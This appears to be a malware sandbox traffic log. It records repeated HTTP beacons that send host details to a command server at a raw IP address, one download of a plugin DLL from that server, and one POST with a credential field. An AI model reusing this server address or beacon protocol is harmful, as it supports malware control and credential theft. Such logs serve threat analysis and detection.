Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: GET /Hnq8vS/plugins/scr.dll HTTP/1.1Host: 176.111.174.114
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST //Hnq8vS/index.php HTTP/1.1Host: 176.111.174.114Content-Length: 21Content-Type: application/x-www-form-urlencodedData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 63 72 65 64 3d Data Ascii: id=152138533219&cred=
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
